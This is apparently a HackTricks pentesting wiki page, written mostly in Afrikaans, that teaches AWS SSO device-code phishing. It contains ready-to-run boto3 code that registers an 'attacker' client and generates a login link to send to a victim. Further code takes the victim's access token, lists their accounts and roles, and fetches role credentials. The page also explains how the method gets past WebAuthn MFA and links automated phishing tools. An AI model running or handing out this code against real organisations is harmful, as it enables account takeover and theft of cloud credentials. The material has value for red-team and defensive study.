# AWS - Identity Center & SSO Unauthenticated Enum

{{#include ../../../../banners/hacktricks-training.md}}

## AWS Device Code Phishing

Aanvanklik voorgestel in [**hierdie blogpos**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), is dit moontlik om 'n **skakel** aan 'n gebruiker wat AWS SSO gebruik te stuur wat, as die **gebruiker dit aanvaar**, die aanvaller in staat sal stel om 'n **token to impersonate the user** te kry en toegang tot al die rolle wat die gebruiker in die **Identity Center** kan bereik.

Om hierdie aanval uit te voer is die vereistes:

- Die slagoffer moet **Identity Center** gebruik
- Die aanvaller moet die **subdomein** ken wat deur die slagoffer gebruik word `<victimsub>.awsapps.com/start`

Net met die vorige inligting, sal die **aanvaller in staat wees om 'n skakel na die gebruiker te stuur** wat, as dit **aanvaar** word, die **aanvaller toegang tot die AWS-gebruikerrekening** sal gee.

### Attack

1. **Vind die subdomein**

Die eerste stap van die aanvaller is om uit te vind watter subdomein die slagoffermaatskappy in hul Identity Center gebruik. Dit kan gedoen word via **OSINT** of **guessing + BF** aangesien meeste maatskappye hul naam of 'n variasie daarvan hier sal gebruik.

Met hierdie inligting is dit moontlik om die streek te kry waar die Identity Center gekonfigureer is:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Genereer die skakel vir die slagoffer & Stuur dit**

Voer die volgende kode uit om 'n AWS SSO-aanmeldskakel te genereer sodat die slagoffer kan authentiseer.\
Vir die demo, voer hierdie kode in 'n python-konsol uit en verlaat dit nie, aangesien jy later sommige objekte sal nodig hê om die token te kry:
```python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Stuur die gegenereerde skakel na die slagoffer met jou fantastiese social engineering skills!

3. **Wag totdat die slagoffer dit aanvaar**

As die slagoffer **alreeds by AWS aangemeld was** sal hy net die toestemmings hoef te aanvaar, as hy dit nie was nie, sal hy moet **aanmeld en dan die toestemmings aanvaar**.\
So lyk die prompt deesdae:

<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>

4. **Kry SSO access token**

As die slagoffer die prompt aanvaar het, hardloop hierdie kode om **'n SSO-token te genereer wat die gebruiker naboots**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
Die SSO access token is **geldig vir 8h**.

5. **Impersonate the user**
```python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing the unphisable MFA

Dit is interessant om te weet dat die vorige aanval **works even if an "unphisable MFA" (webAuth) is being used**. Dit is omdat die vorige **workflow never leaves the used OAuth domain**. Nie soos in ander phishing attacks waar die gebruiker die login domain moet vervang nie; in hierdie geval is die device code workflow so opgestel dat 'n **code is known by a device** en die gebruiker selfs op 'n ander machine kan login. As die prompt aanvaar word, sal die device, net deur **knowing the initial code**, in staat wees om **retrieve credentials** vir die gebruiker te verkry.

Vir meer inligting oor dit [**check this post**](https://mjg59.dreamwidth.org/62175.html).

### Outomatiese gereedskap

- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)

## Verwysings

- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)

{{#include ../../../../banners/hacktricks-training.md}}
